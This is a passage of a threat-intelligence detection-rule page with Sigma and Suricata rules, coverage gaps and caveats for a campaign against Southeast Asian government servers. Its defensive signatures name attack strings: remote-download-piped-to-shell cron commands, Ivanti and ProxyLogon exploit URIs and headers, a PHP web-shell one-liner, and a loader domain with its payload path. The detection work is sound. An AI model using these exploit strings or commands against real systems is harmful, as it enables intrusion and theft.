    and stderr suppressed. This combination (base64 indirection or remote-pipe-to-shell,
    paired with dual-stream suppression, from a cron parent) is rare in legitimate cron
    jobs and was used by a second, separate intruder to install a Linux backdoor kit on a
    government hosting server without exposing the payload path in the crontab.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.execution
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1053.003
logsource:
    category: process_creation
    product: linux
detection:
    selection_parent_cron:
        ParentImage|contains: 'cron'
    selection_b64_indirect:
        CommandLine|contains|all:
            - 'base64 -d'
            - '2>/dev/null'
            - '>/dev/null'
    selection_curl_pipe:
        CommandLine|contains|all:
            - 'curl '
            - '| bash'
    condition: selection_parent_cron and (selection_b64_indirect or selection_curl_pipe)
falsepositives:
    - Legitimate cron-triggered installer or update scripts that pipe a remote download to a shell
level: high

Known Second-Actor Daemon-Masquerade Implant Names Executing From User Home Directory

Tier: Detection Robustness: 2 ATT&CK Coverage: T1036.004 (Masquerade Task or Service) Confidence: HIGH False Positives: Unlikely: these exact filenames combined with a /home/ execution path have no identified legitimate use. Blind Spots: Only matches these four exact filenames; a renamed variant on a different host would evade this rule (see the generalized Hunting-tier companion below). Validation: Reproduce execution of a binary named netd, authd, bootcfg, or udevd-sync from /home/<user>/ in a lab and confirm the rule fires; confirm execution of a real system daemon from /usr/sbin/ does NOT fire. Deployment: Linux process-creation telemetry, host-based scanning for these exact paths (osquery, Velociraptor).

title: Known Second-Actor Daemon-Masquerade Implant Names Executing From User Home Directory
id: 4b35b0e1-5511-442f-9ab8-77828f6acb88
status: experimental
description: >-
    Detects execution of a binary named netd, authd, bootcfg, or udevd-sync from inside a
    user's home directory. These are the four daemon-masquerade implant names recovered
    from a compromised government hosting server, installed by a second, separate intruder
    via cron. A real system daemon never runs from a path under /home/.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.stealth
    - attack.t1036.004
logsource:
    category: process_creation
    product: linux
detection:
    selection_path:
        Image|contains: '/home/'
    selection_name:
        Image|endswith:
            - '/netd'
            - '/authd'
            - '/bootcfg'
            - '/udevd-sync'
    condition: selection_path and selection_name
falsepositives:
    - Unlikely, these exact filenames combined with a /home/ execution path have no identified legitimate use
level: high

Hunting Rules

Operator Toolkit

Joomla Administrator Login Attempt Pattern

Tier: Hunting Robustness: 1 ATT&CK Coverage: T1110.001 (Password Guessing) Confidence: MODERATE False Positives: Legitimate Joomla administrator logins; internet-wide vulnerability scanners probing the standard Joomla admin path. This selector is generic and intended for volumetric triage (e.g., counting attempts per source in a given window), not standalone alerting. Deployment: Web-server access-log ingestion, analyst-triaged hunting queries.

title: Joomla Administrator Login Attempt Pattern
id: dee98531-cbc8-4a06-89f8-aef7941a6fbf
status: experimental
description: >-
    Detects requests to the Joomla administrator login task, the pattern used by the
    operator's single-password-guess spray script against Joomla-based government sites.
    This selector alone is broad (legitimate administrators and vulnerability scanners
    also hit this endpoint), so it is intended for hunting and volumetric triage rather
    than standalone alerting.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.credential-access
    - attack.t1110.001
logsource:
    category: webserver
detection:
    selection:
        cs-uri-stem|contains: '/administrator/index.php'
        cs-uri-query|contains: 'task=login'
    condition: selection
falsepositives:
    - Legitimate Joomla administrator logins
    - Internet-wide vulnerability scanners probing the standard Joomla admin path
level: low

Webmin Session Login Endpoint Access Pattern

Tier: Hunting Robustness: 1 ATT&CK Coverage: T1110.001 (Password Guessing) Confidence: MODERATE False Positives: Legitimate Webmin administrator logins: every legitimate session also hits this endpoint. Intended for login-pattern triage (repeated attempts, unusual source IPs, off-hours access) rather than standalone alerting. Deployment: Web-server access-log ingestion on Webmin/Virtualmin hosts, analyst-triaged hunting queries.

title: Webmin Session Login Endpoint Access Pattern
id: 3f62b16d-d4e1-4336-83c1-398c50108879
status: experimental
description: >-
    Detects requests to the Webmin session_login.cgi authentication endpoint, the vector
    the operator used to reach an administrator session on a compromised Philippine
    government hosting panel. This endpoint is hit by every legitimate Webmin login as
    well, so this selector is intended for hunting and login-pattern triage, not standalone
    alerting.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.credential-access
    - attack.t1110.001
logsource:
    category: webserver
detection:
    selection:
        cs-uri-stem|contains: '/session_login.cgi'
    condition: selection
falsepositives:
    - Legitimate Webmin administrator logins
level: low

Outbound Connection to Cloud Instance Metadata Service Address

Tier: Hunting Robustness: 1 ATT&CK Coverage: T1552.005 (Cloud Instance Metadata API) Confidence: MODERATE False Positives: Cloud SDK or CLI calls from an application that legitimately reads instance metadata. The rule now filters the instance’s own agents by binary name (Elastic Agent and its beats, cloud-init, the AWS/GCP/Azure guest agents), which was the dominant false-positive source when the selection ran unfiltered: every one of those polls this address on a timer, so an unfiltered version of this rule fires continuously on any monitored cloud or virtualized host. The remaining signal is a metadata query from a process that is not one of the instance’s own agents, which is the SSRF and credential-theft case the rule is for. Deployment: Cloud workload network-flow logs, host-based network telemetry, analyst-triaged hunting queries.

title: Outbound Connection to Cloud Instance Metadata Service Address
id: 0953dc62-3a1a-4b35-b765-86bbbac28cfa
status: experimental
description: >-
    Detects a network connection to the well-known cloud instance metadata service
    address 169.254.169.254, the SSRF target used against Tableau Server and a
    GenAI chatbot integration in this campaign to retrieve cloud credentials. Many
    legitimate cloud-native agents query this address routinely, so this is a broad
    hunting signal rather than a standalone alert.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.credential-access
    - attack.t1552.005
logsource:
    category: network_connection
    product: linux
detection:
    selection:
        DestinationIp: '169.254.169.254'
    filter_instance_agents:
        Image|contains:
            - '/elastic-agent'
            - '/agentbeat'
            - '/metricbeat'
            - '/filebeat'
            - '/osquerybeat'
            - '/cloud-init'
            - '/amazon-ssm-agent'
            - '/google_guest_agent'
            - '/waagent'
    condition: selection and not filter_instance_agents
falsepositives:
    - >-
      Cloud SDK or CLI calls from an application that legitimately reads instance
      metadata, where the calling binary is not on the instance-agent filter list
level: low

Chisel Reverse Tunnel Client or Server Execution

Tier: Hunting Robustness: 1 ATT&CK Coverage: T1572 (Protocol Tunneling) Confidence: MODERATE False Positives: Authorized red-team or security-testing use of Chisel; legitimate administrator use for NAT traversal or firewall bypass. Chisel is dual-use and its file hash is a shared commodity build used by hundreds of unrelated parties (179 VT submitters): this rule detects the behavior of running the tool, not a specific file, and is intended for hunting, not standalone alerting. Deployment: Windows/Linux process-creation telemetry, analyst-triaged hunting queries.

title: Chisel Reverse Tunnel Client or Server Execution
id: fa8f3555-62f9-42b7-8820-0806b3c73872
status: experimental
description: >-
    Detects execution of the Chisel TCP/UDP tunneling tool in server or client mode.
    Chisel is a dual-use, publicly available tool with legitimate uses by administrators
    and security testers, so this is a broad hunting signal for tunnel-tool usage rather
    than a standalone alert. The Chisel binary hash itself is a shared commodity build
    used by hundreds of unrelated parties and is not a reliable attribution or blocking
    anchor: this rule detects the behavior of running the tool, not a specific file.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
    - https://github.com/jpillora/chisel
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.command-and-control
    - attack.t1572
logsource:
    category: process_creation
    product: windows
detection:
    selection_name:
        Image|contains: 'chisel'
    selection_mode:
        CommandLine|contains:
            - ' server '
            - ' client '
    condition: selection_name and selection_mode
falsepositives:
    - Authorized red-team or security-testing use of Chisel
    - Legitimate administrator use of Chisel for NAT traversal or firewall bypass
level: medium

Joomla FTP-Staged Web Shell Filename Probe

Tier: Hunting Robustness: 1 ATT&CK Coverage: T1505.003 (Web Shell) Confidence: MODERATE False Positives: Unlikely: this filename has no legitimate Joomla use. Robustness is capped at 1 because the filename is attacker-chosen and renameable; the underlying spray-and-upload attempt at pn-samarinda.go.id never actually fired (the FTP-success branch that would have deployed it did not trigger), so a hit here is a lead to investigate, not a confirmed compromise indicator. Deployment: Web-server access-log ingestion, analyst-triaged hunting queries.

title: Joomla FTP-Staged Web Shell Filename Probe
id: 54109047-3768-44a3-9ff9-90d593c4b179
status: experimental
description: >-
    Detects a request for the specific staged web shell filename pwned.php under a Joomla
    images directory, the payload filename convention this operator reused across multiple
    Joomla targets. The filename itself is attacker-chosen and could be renamed for a future
    intrusion, so this is a hunting lead rather than a high-confidence standalone alert.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.persistence
    - attack.t1505.003
logsource:
    category: webserver
detection:
    selection:
        cs-uri-stem|endswith: '/images/pwned.php'
    condition: selection
falsepositives:
    - Unlikely, this filename has no legitimate Joomla use, but is a renameable attacker convention rather than a durable identifier
level: medium

GSocket Second-Actor Kit (Separate Intruder)

Actor separation reminder: the rule below belongs to the MODERATE-likely SEPARATE second intruder found co-located on svr1.nast.ph. Not the reported operator’s tradecraft.

Executable With System-Daemon-Style Name Running From User Home Directory

Tier: Hunting Robustness: 1 ATT&CK Coverage: T1036.004 (Masquerade Task or Service) Confidence: LOW False Positives: Legitimate user-installed sync utilities or personal scripts that happen to match the naming pattern: this is a broad structural heuristic, not a confirmed-bad indicator, intended to generalize the hunt to other hosts and future variants beyond the four exact implant names already known. Deployment: Linux process-creation telemetry, analyst-triaged hunting queries across the broader estate.

title: Executable With System-Daemon-Style Name Running From User Home Directory
id: a01bf89b-4ab0-448f-b51e-f0c781176fe4
status: experimental
description: >-
    Detects execution of a binary whose name follows common system-daemon naming
    conventions (ending in d, or a sync/config-style suffix) from inside a user's home
    directory, generalizing beyond the four specific implant names already known from this
    campaign. This is a broad structural heuristic intended for hunting across other hosts
    and future variants, not standalone alerting: legitimate personal scripts and
    third-party agents can coincidentally match the naming pattern.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.stealth
    - attack.t1036.004
logsource:
    category: process_creation
    product: linux
detection:
    selection_path:
        Image|contains: '/home/'
    selection_name:
        Image|re: '.*/(netd|authd|bootd|bootcfg|udevd.*|systemd-.*sync|.*-sync)$'
    condition: selection_path and selection_name
falsepositives:
    - Legitimate user-installed sync utilities or personal scripts that happen to match the naming pattern
level: low

Suricata Signatures

All seven Suricata signatures below were validated against the real suricata -T engine on the deployed sensor (exit 0, all rules accepted) before being written here.

Detection Rules

Operator Toolkit

Ivanti Connect Secure CVE-2023-46805 Auth-Bypass Path Traversal

Tier: Detection Robustness: 3 ATT&CK Coverage: T1190 (Exploit Public-Facing Application) Confidence: HIGH False Positives: Unlikely outside authorized vulnerability scanning against unpatched Ivanti Connect Secure appliances. Blind Spots: Only matches the exact traversal URI string observed; TLS-encrypted sessions require inline TLS decryption/mirroring to inspect the HTTP payload. Validation: Replay a captured request containing this URI against the sensor; replay an unrelated, legitimate Ivanti admin-portal request to confirm it does NOT fire. Deployment: Perimeter IDS/IPS sensor, network TAP at the edge of any network hosting Ivanti Connect Secure.

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"THL DETECT Ivanti-Connect-Secure CVE-2023-46805 Auth-Bypass Path Traversal to system-information (Initial Access Attempt)"; flow:established,to_server; http.uri; content:"/api/v1/totp/user-backup-code/../../system/system-information"; classtype:web-application-attack; sid:1000001; rev:1; metadata:author The_Hunters_Ledger, date 2026-07-17, reference https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/;)

Ivanti Connect Secure CVE-2024-21887 Command Injection via cac/status

Tier: Detection Robustness: 3 ATT&CK Coverage: T1190 (Exploit Public-Facing Application) Confidence: HIGH False Positives: Unlikely: a $( shell command-substitution sequence in the cac/status id parameter has no legitimate use. Blind Spots: Only matches this exact query-parameter idiom; a differently-formed injection (backticks, different parameter name) would not match. Requires unencrypted or decrypted HTTP visibility. Validation: Replay a captured request containing this URI against the sensor; replay a normal cac/status request with a numeric id to confirm it does NOT fire. Deployment: Perimeter IDS/IPS sensor, network TAP at the edge of any network hosting Ivanti Connect Secure.

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"THL DETECT Ivanti-Connect-Secure CVE-2024-21887 Command Injection via cac-status (Post-Auth-Bypass Command Execution Attempt)"; flow:established,to_server; http.uri; content:"/cac/status?id=$("; classtype:web-application-attack; sid:1000002; rev:1; metadata:author The_Hunters_Ledger, date 2026-07-17, reference https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/;)

Exchange ProxyLogon CVE-2021-26855 SSRF Cookie Header on Autodiscover

Tier: Detection Robustness: 3 ATT&CK Coverage: T1190 (Exploit Public-Facing Application) Confidence: HIGH False Positives: Unlikely: this cookie name has no legitimate Exchange client use. Every operator attempt in this campaign was rejected by the target (411/400/404/401). A hit represents an exploitation attempt, not necessarily a successful compromise. Blind Spots: Requires unencrypted or TLS-decrypted HTTP visibility to inspect the Cookie header; a differently-named SSRF cookie variant would not match. Validation: Replay the operator’s captured request pattern against the sensor; replay a normal Outlook Web Access autodiscover request to confirm it does NOT fire. Deployment: Perimeter IDS/IPS sensor, network TAP in front of Exchange/OWA infrastructure.

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"THL DETECT Exchange-ProxyLogon CVE-2021-26855 SSRF Cookie Header on Autodiscover (Initial Access Attempt)"; flow:established,to_server; http.uri; content:"/autodiscover/autodiscover."; http.header; content:"X-AnonResource-Backend="; classtype:web-application-attack; sid:1000003; rev:1; metadata:author The_Hunters_Ledger, date 2026-07-17, reference https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/;)

GSocket Second-Actor Kit (Separate Intruder): BLOCK-Grade

Actor separation reminder: the two rules below belong to the MODERATE-likely SEPARATE second intruder found co-located on svr1.nast.ph. localroot.sbs and the cat.sh hash trio are the ONLY second-actor indicators approved for BLOCK-grade action in this campaign, everything else from this actor (GSocket/THC relay domains) is Hunting-tier and must NEVER be blocked (see below).

Second-Actor localroot.sbs Loader Domain DNS Query

Tier: Detection Robustness: 2 ATT&CK Coverage: T1102 (Web Service C2, loader staging) Confidence: HIGH False Positives: None known: localroot.sbs is a dedicated, Cloudflare-fronted domain registered 2025-08-17 with zero legitimate use identified (VT 0/91, unflagged by every engine). Robustness is scored 2 rather than 3 because a domain is inherently cheaper for an attacker to rotate than a technique chokepoint. This rule should be revisited if the domain goes dormant. Blind Spots: A future intrusion using a different domain would evade this rule; do not block the underlying Cloudflare IPs (172.67.199.181, 104.21.52.137), which are shared Cloudflare infrastructure, not operator-owned. Validation: Resolve localroot.sbs against the sensor to confirm the rule fires; resolve an unrelated Cloudflare-fronted domain to confirm it does NOT fire. Deployment: DNS-monitoring sensor / recursive resolver log correlation, perimeter IDS.

alert dns $HOME_NET any -> any any (msg:"THL BLOCK Second-Actor-GSocket-Kit localroot.sbs Loader Domain DNS Query (C2 Staging Indicator)"; dns_query; content:"localroot.sbs"; nocase; isdataat:!1,relative; threshold:type limit,track by_src,count 1,seconds 3600; classtype:trojan-activity; sid:1000004; rev:1; metadata:author The_Hunters_Ledger, date 2026-07-17, reference https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/;)

Second-Actor cat.sh Loader Payload Retrieval

Tier: Detection Robustness: 2 ATT&CK Coverage: T1102 (Web Service C2, payload retrieval) Confidence: HIGH False Positives: None known: the combination of the localroot.sbs host header and a /cat.sh URI suffix has no legitimate use. Blind Spots: Requires unencrypted HTTP visibility; a future retrieval over HTTPS with SNI-only visibility would need a companion TLS SNI rule (not authored here: no captured evidence of an HTTPS retrieval path). Validation: Replay a captured GET /cat.sh request with Host: localroot.sbs against the sensor; replay a request for an unrelated .sh file from a different host to confirm it does NOT fire. Deployment: Perimeter IDS/IPS sensor, egress network monitoring.

alert http $HOME_NET any -> any any (msg:"THL BLOCK Second-Actor-GSocket-Kit cat.sh Loader Payload Retrieval (Persistence Staging)"; flow:established,to_server; http.host; content:"localroot.sbs"; http.uri; content:"/cat.sh"; endswith; classtype:trojan-activity; sid:1000005; rev:1; metadata:author The_Hunters_Ledger, date 2026-07-17, reference https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/;)

Hunting Rules

GSocket Second-Actor Kit (Separate Intruder): Hunt-Only, NEVER BLOCK

Critical operational note: the two rules below monitor THC’s public GSocket NAT-piercing relay network. gsocket.io, cdn.gsocket.io, and the {g,p,z,master}.gs.thc.org hosts are shared public infrastructure with legitimate uses (GSocket is a general-purpose tool, not malware-exclusive). Do not deploy these as block rules. The signal is context, a server-class host with no interactive user resolving or connecting to a GSocket relay, not the domain itself. Alert only, analyst-triaged. Commodity notification/hosting domains also referenced by this kit (api.telegram.org, discord.com, webhook.site, raw.githubusercontent.com, github.com) are deliberately NOT signatured at all (see Coverage Gaps).

GSocket/THC Relay gs.thc.org Domain Query

Tier: Hunting Robustness: 0 ATT&CK Coverage: T1102 (Web Service C2) Confidence: MODERATE False Positives: Any legitimate GSocket user (the tool has general-purpose NAT-traversal uses beyond this campaign). This rule has no pivot value on its own. It must be correlated with host context (server-class asset, no interactive user, unexpected process) before triage. Deployment: DNS-monitoring sensor, analyst-triaged hunting queries only, never an automated block or IPS action.

alert dns $HOME_NET any -> any any (msg:"THL HUNT GSocket-THC-Relay gs.thc.org NAT-Traversal Domain Query (Hunt-Only - Do Not Block - Shared Public Infrastructure)"; dns_query; content:".gs.thc.org"; nocase; isdataat:!1,relative; threshold:type limit,track by_src,count 1,seconds 3600; classtype:misc-activity; sid:1000006; rev:1; metadata:author The_Hunters_Ledger, date 2026-07-17, reference https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/, signature_severity Informational;)

GSocket/THC Relay gsocket.io Domain Query

Tier: Hunting Robustness: 0 ATT&CK Coverage: T1102 (Web Service C2) Confidence: MODERATE False Positives: Any legitimate GSocket user; the content match also catches the cdn.gsocket.io subdomain by design. No pivot value on its own. Correlate with host context before triage. Deployment: DNS-monitoring sensor, analyst-triaged hunting queries only, never an automated block or IPS action.

alert dns $HOME_NET any -> any any (msg:"THL HUNT GSocket-THC-Relay gsocket.io Domain Query (Hunt-Only - Do Not Block - Shared Public Infrastructure)"; dns_query; content:"gsocket.io"; nocase; isdataat:!1,relative; threshold:type limit,track by_src,count 1,seconds 3600; classtype:misc-activity; sid:1000007; rev:1; metadata:author The_Hunters_Ledger, date 2026-07-17, reference https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/, signature_severity Informational;)

Coverage Gaps

Calibration: weight defensive effort correctly. Across the operator’s six-service C2 estate, exactly one victim callback occurred in 14 days of logs; both chisel listeners (:8443, :4443) logged zero clients; the SSRF canary caught zero campaign callbacks. This near-inert C2 posture means most rules in this file are unlikely to fire on live traffic during the window this evidence was collected. Defenders reading this file should prioritize:

1. Credential resets for every account this operator is confirmed or assessed to possess (Kejaksaan/SIPEDE, NAST Webmin, MHESI VPN/EMPLOY/uniconsubmission): this is the highest-value action regardless of whether any rule below ever fires.
2. The Zimbra web shell drop-path rule and YARA content rule: these target a persistence mechanism, not a transient network session, and remain useful long after the operator’s C2 infrastructure goes dark.
3. Everything else in this file as scoping/hunting content for the exploitation techniques observed, not as an expectation of imminent live detections.

Techniques with no rule authored, and what would close the gap:

• T1078 (Valid Accounts): the operator’s dominant access method (Kejaksaan, NAST, MHESI) is authenticated, valid-credential use. No generic rule can distinguish an operator login from a legitimate one without the specific compromised usernames as a watchlist: an org-specific control (account-level alerting on the named accounts), not a general-purpose signature. Not authored here per this project’s third-party-intelligence-provider scope.
• T1539 (Steal Web Session Cookie) and T1213 (Data from Information Repositories): the Kejaksaan/SIPEDE document theft and the Ivanti VPN session-cookie harvesting are confirmed behaviors, but the technical mechanism (harvesting an already-established session, then browsing an internal document repository over that session) produces no distinguishing network or host artifact beyond normal authenticated traffic to sipede.kejaksaan.go.id / sign.kejaksaan.go.id. A rule keyed to those specific victim hostnames would have zero value outside this one organization and was not authored for that reason.
• T1119 (Automated Collection) and T1041 (Exfiltration Over C2 Channel): the operator’s autonomous 2-hour collection loops and document exfiltration ride the same channels already covered by the tunnel/chisel rules above; no additional distinguishing signature exists beyond detecting the channel itself.
• Chisel’s WebSocket tunnel handshake: no Suricata signature was authored for chisel’s underlying protocol handshake (independent of the operator-specific key fingerprint). No packet-level protocol fingerprint (JA3/URI pattern) was captured in the evidence reviewed; building one would require a live packet capture of the handshake.
• Spoofed sender security-monitor@tni.mil.id: this is a mail-gateway-level anti-spoofing concern (SPF/DKIM/DMARC alignment failure combined with this specific sender), which sits outside Sigma’s typical endpoint/network log scope. Best implemented at the email security gateway, tied to the Zimbra web shell decoy banner it delivers (see the YARA rule above for that connection).

Candidates assessed and cut (not authored as rules):

• Plain s.php web shell one-liner (system($_REQUEST["x"]), no GIF89a wrapper): the bare string is a generic one-line PHP web shell pattern reused across countless unrelated kits; neither the string nor the parameter name is distinctive enough to clear the precision gate. Cut. The GIF89a-wrapped variants (which pair the same technique with a distinctive magic-byte prefix) were retained as Detection above.
• Operator SSH host-key fingerprints (ED25519 84FDB939...23B7, RSA 55F5EE6E...52FA, ECDSA B78E7D40...7D1F on 144.172.106.236) and the id_rsa_nast private-key fingerprint: these are genuinely atomic, single-host artifacts whose only defensive value is exact-reuse correlation (has this same host key appeared on a different IP?). Routed to the IOC feed for that correlation purpose; not authored as standalone rules.
• Chisel commodity file hash (e788f829...9cd9e83b): shared by 179 VT submitters since 2024-10-07; worthless for attribution or blocking. Present in the IOC feed as a HUNT-tier, false-positive-flagged entry only, per explicit direction. The chisel process-execution behavior is separately covered by the Hunting-tier Sigma rule above.
• PoetRat_Python / android_meterpreter YARA hits on chisel.exe, tunnel-server, and tunnel-agent: confirmed known false positives (generic crypto/base64 pattern matches shared by any Go binary statically linking the same libraries). Not cited as family evidence anywhere in this file, per explicit direction.
• Telegram / Discord / webhook.site / raw.githubusercontent.com / github.com: referenced by the second-actor’s cat.sh installer alongside the GSocket relay domains, but these five are ubiquitous, high-legitimate-volume public services. A signature on any of them would fire on nearly all corporate networks with no pivot value. Documented as hunt context only (see Multi-Family Organization). No rule was authored, and none should be, for any of these five domains.
• windows-Utah-* / ubuntu-Utah-* certificate-CN naming convention: assessed and confirmed to be a widely-propagated VM image/template convention (2,634 hosts across many ASNs including AWS), not a hosting-provider or operator-specific tag. Dead attribution signal; no rule authored.
• VPNJantit certificate (c739f55d...394ac3b93) and the 128.199.246.46 / 146.56.180.42 / serveo.net proxy hops: these are public VPN/proxy exit nodes and relay services the operator merely connected through, not operator-owned infrastructure. Authoring a rule on any of these would misattribute every other user of that shared service. Excluded per the reconciled candidate list’s hard-exclusion table.
• ysoserial gadget-chain detection: no ysoserial.jar exists in this capture; the file named jar is a 131-byte empty curl cookie jar. No evidentiary basis for a Java-deserialization rule in this campaign.
• Moodle CVE-2020-25627/-25629 (XSS/PrivEsc): referenced in operator code but no exploitation was evidenced beyond an anonymous session-cookie capture; only the LFI (CVE-2020-25630) had a concrete, matchable URI pattern, which is covered above.

Second-actor attribution caveat (applies to every second-actor rule above): the GSocket/THC kit’s assessment as a separate intruder is MODERATE confidence, not DEFINITE, based on localroot.sbs/cat.sh/the four implant names being absent from the operator’s entire 100-plus-script toolkit, a materially different infrastructure playbook (Cloudflare-fronted domain + GSocket relay vs. bare-IP + commodity chisel), and a timeline where the loader domain predates the operator’s tenancy on the shared host by roughly nine months. If future evidence links the two, these rules should be re-labeled under the operator’s own TTP set.

License

Detection rules are licensed under Creative Commons Attribution 4.0 International (CC BY 4.0).
Free to use, including commercially, with attribution to The Hunters Ledger.